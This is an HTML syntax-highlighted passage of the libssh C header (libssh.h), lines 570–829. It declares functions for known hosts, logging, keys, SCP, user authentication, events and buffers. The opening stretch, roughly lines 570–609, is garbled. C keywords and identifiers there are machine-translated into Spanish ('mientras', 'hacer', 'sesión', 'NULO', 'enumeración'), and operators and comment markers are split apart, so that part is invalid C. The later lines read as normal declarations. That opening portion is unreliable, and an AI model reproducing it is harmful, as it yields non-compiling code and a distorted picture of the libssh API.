<span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>570 } \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>571 } mientras (0)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>572 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>573 LIBSSH_API int ssh_known_hosts_parse_line </span> <span style='color:#00c4c4; '>( const char * host,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>574 const char * línea,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>575 entrada struct ssh_knownhosts_entry **);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>576 LIBSSH_API enumeración ssh_known_hosts_e </span> <span style='color:#00c4c4; '>ssh_session_has_known_hosts_entry ( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>577 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>578 LIBSSH_API int ssh_session_export_known_hosts_entry </span> <span style='color:#00c4c4; '>( sesión ssh_session ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>579 Char ** pentry_string);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>580 LIBSSH_API int ssh_session_update_known_hosts </span> <span style='color:#00c4c4; '>( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>581 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>582 LIBSSH_API enumeración ssh_known_hosts_e</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>583 ssh_session_get_known_hosts_entry </span> <span style='color:#00c4c4; '>( sesión ssh_session ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>584 struct ssh_knownhosts_entry ** pentry);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>585 LIBSSH_API enumeración ssh_known_hosts_e </span> <span style='color:#00c4c4; '>ssh_session_is_known_server ( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>586 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>587 / * REGISTRO * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>588 LIBSSH_API int ssh_set_log_level ( nivel int );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>589 LIBSSH_API int ssh_get_log_level ( void );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>590 LIBSSH_API void * ssh_get_log_userdata ( void );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>591 LIBSSH_API int ssh_set_log_userdata ( void * datos);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>592 LIBSSH_API void _ssh_log ( int verbosidad,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>593 const char * función ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>594 const char * formato, ...) PRINTF_ATTRIBUTE (3, 4);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>595 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>596 / * legado * /</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>597 SSH_DEPRECATED LIBSSH_API void ssh_log </span> <span style='color:#00c4c4; '>( sesión ssh_session ,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>598 int prioridad,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>599 const char * formato, ...) PRINTF_ATTRIBUTE (3, 4);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>600 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>601 LIBSSH_API ssh_channel ssh_message_channel_request_open_reply_accept </span> <span style='color:#00c4c4; '>( ssh_message msg);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>602 LIBSSH_API int ssh_message_channel_request_reply_success </span> <span style='color:#00c4c4; '>( ssh_message msg);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>603 #define SSH_MESSAGE_FREE (x) \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>604 hacer {if ((x)! = NULL) {ssh_message_free (x); (x) = NULO; }} mientras (0)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>605 LIBSSH_API void ssh_message_free ( ssh_message msg);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>606 LIBSSH_API ssh_message ssh_message_get ( sesión ssh_session );</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>607 LIBSSH_API int ssh_message_subtype ( ssh_message msg);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>608 LIBSSH_API int ssh_message_type ( ssh_message msg);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>609 LIBSSH_API int ssh_mkdir ( const char * nombre de ruta, modo_t);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>610 LIBSSH_API ssh_session ssh_new(void);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>611 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>612 LIBSSH_API int ssh_options_copy(ssh_session src, ssh_session *dest);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>613 LIBSSH_API int ssh_options_getopt(ssh_session session, int *argcptr, char **argv);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>614 LIBSSH_API int ssh_options_parse_config(ssh_session session, const char *filename);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>615 LIBSSH_API int ssh_options_set(ssh_session session, enum ssh_options_e type,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>616 const void *value);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>617 LIBSSH_API int ssh_options_get(ssh_session session, enum ssh_options_e type,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>618 char **value);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>619 LIBSSH_API int ssh_options_get_port(ssh_session session, unsigned int * port_target);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>620 LIBSSH_API int ssh_pcap_file_close(ssh_pcap_file pcap);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>621 LIBSSH_API void ssh_pcap_file_free(ssh_pcap_file pcap);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>622 LIBSSH_API ssh_pcap_file ssh_pcap_file_new(void);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>623 LIBSSH_API int ssh_pcap_file_open(ssh_pcap_file pcap, const char *filename);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>624 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>638 typedef int (*ssh_auth_callback) (const char *prompt, char *buf, size_t len,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>639 int echo, int verify, void *userdata);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>640 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>641 LIBSSH_API ssh_key ssh_key_new(void);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>642 #define SSH_KEY_FREE(x) \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>643 do { if ((x) != NULL) { ssh_key_free(x); x = NULL; } } while(0)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>644 LIBSSH_API void ssh_key_free (ssh_key key);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>645 LIBSSH_API enum ssh_keytypes_e ssh_key_type(const ssh_key key);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>646 LIBSSH_API const char *ssh_key_type_to_char(enum ssh_keytypes_e type);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>647 LIBSSH_API enum ssh_keytypes_e ssh_key_type_from_name(const char *name);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>648 LIBSSH_API int ssh_key_is_public(const ssh_key k);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>649 LIBSSH_API int ssh_key_is_private(const ssh_key k);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>650 LIBSSH_API int ssh_key_cmp(const ssh_key k1,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>651 const ssh_key k2,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>652 enum ssh_keycmp_e what);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>653 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>654 LIBSSH_API int ssh_pki_generate(enum ssh_keytypes_e type, int parameter,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>655 ssh_key *pkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>656 LIBSSH_API int ssh_pki_import_privkey_base64(const char *b64_key,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>657 const char *passphrase,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>658 ssh_auth_callback auth_fn,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>659 void *auth_data,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>660 ssh_key *pkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>661 LIBSSH_API int ssh_pki_export_privkey_base64(const ssh_key privkey,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>662 const char *passphrase,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>663 ssh_auth_callback auth_fn,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>664 void *auth_data,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>665 char **b64_key);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>666 LIBSSH_API int ssh_pki_import_privkey_file(const char *filename,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>667 const char *passphrase,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>668 ssh_auth_callback auth_fn,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>669 void *auth_data,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>670 ssh_key *pkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>671 LIBSSH_API int ssh_pki_export_privkey_file(const ssh_key privkey,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>672 const char *passphrase,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>673 ssh_auth_callback auth_fn,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>674 void *auth_data,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>675 const char *filename);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>676 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>677 LIBSSH_API int ssh_pki_copy_cert_to_privkey(const ssh_key cert_key,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>678 ssh_key privkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>679 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>680 LIBSSH_API int ssh_pki_import_pubkey_base64(const char *b64_key,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>681 enum ssh_keytypes_e type,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>682 ssh_key *pkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>683 LIBSSH_API int ssh_pki_import_pubkey_file(const char *filename,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>684 ssh_key *pkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>685 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>686 LIBSSH_API int ssh_pki_import_cert_base64(const char *b64_cert,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>687 enum ssh_keytypes_e type,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>688 ssh_key *pkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>689 LIBSSH_API int ssh_pki_import_cert_file(const char *filename,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>690 ssh_key *pkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>691 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>692 LIBSSH_API int ssh_pki_export_privkey_to_pubkey(const ssh_key privkey,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>693 ssh_key *pkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>694 LIBSSH_API int ssh_pki_export_pubkey_base64(const ssh_key key,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>695 char **b64_key);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>696 LIBSSH_API int ssh_pki_export_pubkey_file(const ssh_key key,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>697 const char *filename);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>698 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>699 LIBSSH_API const char *ssh_pki_key_ecdsa_name(const ssh_key key);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>700 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>701 LIBSSH_API char *ssh_get_fingerprint_hash(enum ssh_publickey_hash_type type,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>702 unsigned char *hash,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>703 size_t len);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>704 LIBSSH_API void ssh_print_hash</span> <span style='color:#00c4c4; '>(enum ssh_publickey_hash_type type, unsigned char *hash, size_t len);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>705 LIBSSH_API int ssh_send_ignore (ssh_session session, const char *data);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>706 LIBSSH_API int ssh_send_debug (ssh_session session, const char *message, int always_display);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>707 LIBSSH_API void ssh_gssapi_set_creds(ssh_session session, const ssh_gssapi_creds creds);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>708 LIBSSH_API int ssh_scp_accept_request(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>709 LIBSSH_API int ssh_scp_close(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>710 LIBSSH_API int ssh_scp_deny_request(ssh_scp scp, const char *reason);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>711 LIBSSH_API void ssh_scp_free(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>712 LIBSSH_API int ssh_scp_init(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>713 LIBSSH_API int ssh_scp_leave_directory(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>714 LIBSSH_API ssh_scp ssh_scp_new(ssh_session session, int mode, const char *location);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>715 LIBSSH_API int ssh_scp_pull_request(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>716 LIBSSH_API int ssh_scp_push_directory(ssh_scp scp, const char *dirname, int mode);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>717 LIBSSH_API int ssh_scp_push_file(ssh_scp scp, const char *filename, size_t size, int perms);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>718 LIBSSH_API int ssh_scp_push_file64(ssh_scp scp, const char *filename, uint64_t size, int perms);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>719 LIBSSH_API int ssh_scp_read(ssh_scp scp, void *buffer, size_t size);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>720 LIBSSH_API const char *ssh_scp_request_get_filename(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>721 LIBSSH_API int ssh_scp_request_get_permissions(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>722 LIBSSH_API size_t ssh_scp_request_get_size(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>723 LIBSSH_API uint64_t ssh_scp_request_get_size64(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>724 LIBSSH_API const char *ssh_scp_request_get_warning(ssh_scp scp);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>725 LIBSSH_API int ssh_scp_write(ssh_scp scp, const void *buffer, size_t len);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>726 LIBSSH_API int ssh_select(ssh_channel *channels, ssh_channel *outchannels, socket_t maxfd,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>727 fd_set *readfds, struct timeval *timeout);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>728 LIBSSH_API int ssh_service_request(ssh_session session, const char *service);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>729 LIBSSH_API int ssh_set_agent_channel(ssh_session session, ssh_channel channel);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>730 LIBSSH_API int ssh_set_agent_socket(ssh_session session, socket_t fd);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>731 LIBSSH_API void ssh_set_blocking(ssh_session session, int blocking);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>732 LIBSSH_API void ssh_set_counters(ssh_session session, ssh_counter scounter,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>733 ssh_counter rcounter);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>734 LIBSSH_API void ssh_set_fd_except(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>735 LIBSSH_API void ssh_set_fd_toread(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>736 LIBSSH_API void ssh_set_fd_towrite(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>737 LIBSSH_API void ssh_silent_disconnect(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>738 LIBSSH_API int ssh_set_pcap_file(ssh_session session, ssh_pcap_file pcapfile);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>739 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>740 /* USERAUTH */</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>741 LIBSSH_API int ssh_userauth_none(ssh_session session, const char *username);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>742 LIBSSH_API int ssh_userauth_list(ssh_session session, const char *username);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>743 LIBSSH_API int ssh_userauth_try_publickey(ssh_session session,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>744 const char *username,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>745 const ssh_key pubkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>746 LIBSSH_API int ssh_userauth_publickey(ssh_session session,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>747 const char *username,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>748 const ssh_key privkey);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>749 #ifndef _WIN32</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>750 LIBSSH_API int ssh_userauth_agent(ssh_session session,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>751 const char *username);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>752 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>753 LIBSSH_API int ssh_userauth_publickey_auto(ssh_session session,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>754 const char *username,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>755 const char *passphrase);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>756 LIBSSH_API int ssh_userauth_password(ssh_session session,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>757 const char *username,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>758 const char *password);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>759 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>760 LIBSSH_API int ssh_userauth_kbdint(ssh_session session, const char *user, const char *submethods);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>761 LIBSSH_API const char *ssh_userauth_kbdint_getinstruction(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>762 LIBSSH_API const char *ssh_userauth_kbdint_getname(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>763 LIBSSH_API int ssh_userauth_kbdint_getnprompts(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>764 LIBSSH_API const char *ssh_userauth_kbdint_getprompt(ssh_session session, unsigned int i, char *echo);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>765 LIBSSH_API int ssh_userauth_kbdint_getnanswers(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>766 LIBSSH_API const char *ssh_userauth_kbdint_getanswer(ssh_session session, unsigned int i);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>767 LIBSSH_API int ssh_userauth_kbdint_setanswer(ssh_session session, unsigned int i,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>768 const char *answer);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>769 LIBSSH_API int ssh_userauth_gssapi(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>770 LIBSSH_API const char *ssh_version(int req_version);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>771 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>772 LIBSSH_API void ssh_string_burn(ssh_string str);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>773 LIBSSH_API ssh_string ssh_string_copy(ssh_string str);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>774 LIBSSH_API void *ssh_string_data(ssh_string str);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>775 LIBSSH_API int ssh_string_fill(ssh_string str, const void *data, size_t len);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>776 #define SSH_STRING_FREE(x) \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>777 do { if ((x) != NULL) { ssh_string_free(x); x = NULL; } } while(0)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>778 LIBSSH_API void ssh_string_free(ssh_string str);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>779 LIBSSH_API ssh_string ssh_string_from_char(const char *what);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>780 LIBSSH_API size_t ssh_string_len(ssh_string str);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>781 LIBSSH_API ssh_string ssh_string_new(size_t size);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>782 LIBSSH_API const char *ssh_string_get_char(ssh_string str);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>783 LIBSSH_API char *ssh_string_to_char(ssh_string str);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>784 #define SSH_STRING_FREE_CHAR(x) \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>785 do { if ((x) != NULL) { ssh_string_free_char(x); x = NULL; } } while(0)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>786 LIBSSH_API void ssh_string_free_char(char *s);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>787 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>788 LIBSSH_API int ssh_getpass(const char *prompt, char *buf, size_t len, int echo,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>789 int verify);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>790 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>791 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>792 typedef int (*ssh_event_callback)(socket_t fd, int revents, void *userdata);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>793 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>794 LIBSSH_API ssh_event ssh_event_new(void);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>795 LIBSSH_API int ssh_event_add_fd(ssh_event event, socket_t fd, short events,</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>796 ssh_event_callback cb, void *userdata);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>797 LIBSSH_API int ssh_event_add_session(ssh_event event, ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>798 LIBSSH_API int ssh_event_add_connector(ssh_event event, ssh_connector connector);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>799 LIBSSH_API int ssh_event_dopoll(ssh_event event, int timeout);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>800 LIBSSH_API int ssh_event_remove_fd(ssh_event event, socket_t fd);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>801 LIBSSH_API int ssh_event_remove_session(ssh_event event, ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>802 LIBSSH_API int ssh_event_remove_connector(ssh_event event, ssh_connector connector);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>803 LIBSSH_API void ssh_event_free(ssh_event event);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>804 LIBSSH_API const char* ssh_get_clientbanner(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>805 LIBSSH_API const char* ssh_get_serverbanner(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>806 LIBSSH_API const char* ssh_get_kex_algo(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>807 LIBSSH_API const char* ssh_get_cipher_in(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>808 LIBSSH_API const char* ssh_get_cipher_out(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>809 LIBSSH_API const char* ssh_get_hmac_in(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>810 LIBSSH_API const char* ssh_get_hmac_out(ssh_session session);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>811 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>812 LIBSSH_API ssh_buffer ssh_buffer_new(void);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>813 LIBSSH_API void ssh_buffer_free(ssh_buffer buffer);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>814 #define SSH_BUFFER_FREE(x) \</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>815 do { if ((x) != NULL) { ssh_buffer_free(x); x = NULL; } } while(0)</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>816 LIBSSH_API int ssh_buffer_reinit(ssh_buffer buffer);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>817 LIBSSH_API int ssh_buffer_add_data(ssh_buffer buffer, const void *data, uint32_t len);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>818 LIBSSH_API uint32_t ssh_buffer_get_data(ssh_buffer buffer, void *data, uint32_t requestedlen);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>819 LIBSSH_API void *ssh_buffer_get(ssh_buffer buffer);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>820 LIBSSH_API uint32_t ssh_buffer_get_len(ssh_buffer buffer);</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>821 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>822 #ifndef LIBSSH_LEGACY_0_4</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>823 #include </span><span style='color:#02d045; '>"</span>libssh<span style='color:#d2cd86; '>/</span>legacy<span style='color:#d2cd86; '>.</span>h<span style='color:#02d045; '>"</span><span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>824 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>825 </span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>826 #ifdef __cplusplus</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>827 }</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>828 #endif</span> <span style='color:#00c4c4; '></span> <span style='color:#00c4c4; '>829 #endif /* _LIBSSH_H */</small></span> <span 